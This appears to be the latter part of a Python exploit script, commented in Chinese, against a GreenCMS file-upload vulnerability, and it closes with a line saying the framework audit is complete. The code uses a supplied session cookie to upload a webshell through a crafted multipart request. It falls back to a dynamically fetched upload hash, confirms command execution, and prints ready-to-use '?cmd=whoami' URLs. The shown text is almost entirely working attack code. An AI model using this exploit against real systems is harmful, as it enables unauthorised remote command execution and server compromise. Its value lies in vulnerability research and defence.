f'Content-Disposition: form-data; name="upload[]"; filename="{webshell_name}"\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
f"{webshell_content}\r\n"
f"--{boundary}--\r\n"
)
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body)),
"Cookie": session.cookies.get_dict(),
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
"Connection": "close"
}
# 将Cookie字典转换为字符串格式
cookie_str = '; '.join([f'{k}={v}' for k, v in session.cookies.get_dict().items()])
headers["Cookie"] = cookie_str
print(f"[+] 尝试上传 WebShell -> Hash: {upload_hash}")
try:
# 发送请求前打印原始请求格式
debug_print_raw_request("POST 请求原始格式", "POST", url, headers, body.replace('\r\n', '\n'))
res = session.post(url, headers=headers, data=body, timeout=10, verify=False)
# 打印原始响应格式
debug_print_raw_response("POST 响应原始格式", res)
print(f"[*] 响应码: {res.status_code}")
if res.status_code == 200:
try:
data = res.json()
if "added" in data and len(data["added"]) > 0:
webshell_url = f"{target}/Upload/{webshell_name}"
print(f"[+] 上传成功!WebShell 地址: {webshell_url}")
return True, res.text, webshell_url
else:
print("[-] 上传失败:响应中未包含文件信息")
except json.JSONDecodeError:
print("[-] 响应不是有效的 JSON 格式")
else:
print(f"[-] 上传失败: HTTP {res.status_code}")
except Exception as e:
print(f"[-] 上传时发生异常: {e}")
return False, None, None
def execute_command(webshell_url, cmd, session):
"""执行系统命令"""
encoded_cmd = urllib.parse.quote(cmd)
full_url = f"{webshell_url}?cmd={encoded_cmd}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Connection": "close"
}
# 打印命令执行请求
debug_print_raw_request("命令执行请求", "GET", full_url, headers, "")
try:
res = session.get(full_url, headers=headers, timeout=10, verify=False)
# 打印命令执行响应
debug_print_raw_response("命令执行响应", res)
return res.text.strip()
except Exception as e:
return f"[!] 执行失败: {e}"
def main():
parser = argparse.ArgumentParser(description="GreenCMS 文件上传漏洞利用工具")
parser.add_argument('url', help='目标URL,例如: http://192.168.63.128')
parser.add_argument('-c', '--cookie', required=True, help='完整认证 Cookie')
parser.add_argument('--no-debug', action='store_true', help='关闭调试输出')
args = parser.parse_args()
# 设置调试模式
global DEBUG
DEBUG = not args.no_debug
banner()
# 修复URL格式
target_url = args.url
if not target_url.startswith(('http://', 'https://')):
target_url = 'http://' + target_url
print(f"[*] 自动添加协议头: {target_url}")
else:
print(f"[+] 目标URL: {target_url}")
# 打印会话信息
print(f"[+] 使用的Cookie: {args.cookie}")
session = requests.Session()
cookies_dict = {}
for cookie in args.cookie.split(';'):
if '=' in cookie:
key, value = cookie.strip().split('=', 1)
cookies_dict[key] = value
session.cookies.update(cookies_dict)
# Step 1: 先尝试使用默认 Hash l1_XA 上传
print("\n[+] 第一阶段:尝试使用默认 Hash l1_XA 上传...")
success, _, webshell_url = upload_webshell(target_url, "l1_XA", session)
if success:
print("[+] 验证 WebShell...")
result = execute_command(webshell_url, 'echo "TestSuccess"', session)
if "TestSuccess" in result:
print("[+] WebShell 验证成功!")
print(f"\n[+] 漏洞利用成功!")
print(f"[+] WebShell: {webshell_url}")
print(f" curl '{webshell_url}?cmd=id'")
sys.exit(0)
else:
print("[-] WebShell 内容异常,继续第二阶段...")
# Step 2: 默认 Hash 失败,尝试动态获取真实 Hash
print("\n[+] 第二阶段:默认 Hash 失败,尝试动态获取 Upload Hash...")
upload_hash = get_upload_hash(target_url, session)
if not upload_hash:
print("[-] 无法获取真实 Upload Hash,退出")
sys.exit(1)
print(f"[+] 使用真实 Hash {upload_hash} 重新上传...")
success, _, webshell_url = upload_webshell(target_url, upload_hash, session)
if not success:
print("[-] 使用真实 Hash 上传仍失败,退出")
sys.exit(1)
print("[+] 验证 WebShell...")
result = execute_command(webshell_url, 'echo "TestSuccess"', session)
if "TestSuccess" not in result:
print("[-] WebShell 验证失败(可能被拦截或解析失败)")
sys.exit(1)
print("[+] WebShell 验证成功!")
print("\n" + "=" * 60)
print(" 漏洞利用成功完成!")
print(f" WebShell URL: {webshell_url}")
print(f" 执行命令: {webshell_url}?cmd=whoami")
print("=" * 60)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n[*] 用户中断,退出程序")
sys.exit(0)

至此这套框架就审计完成
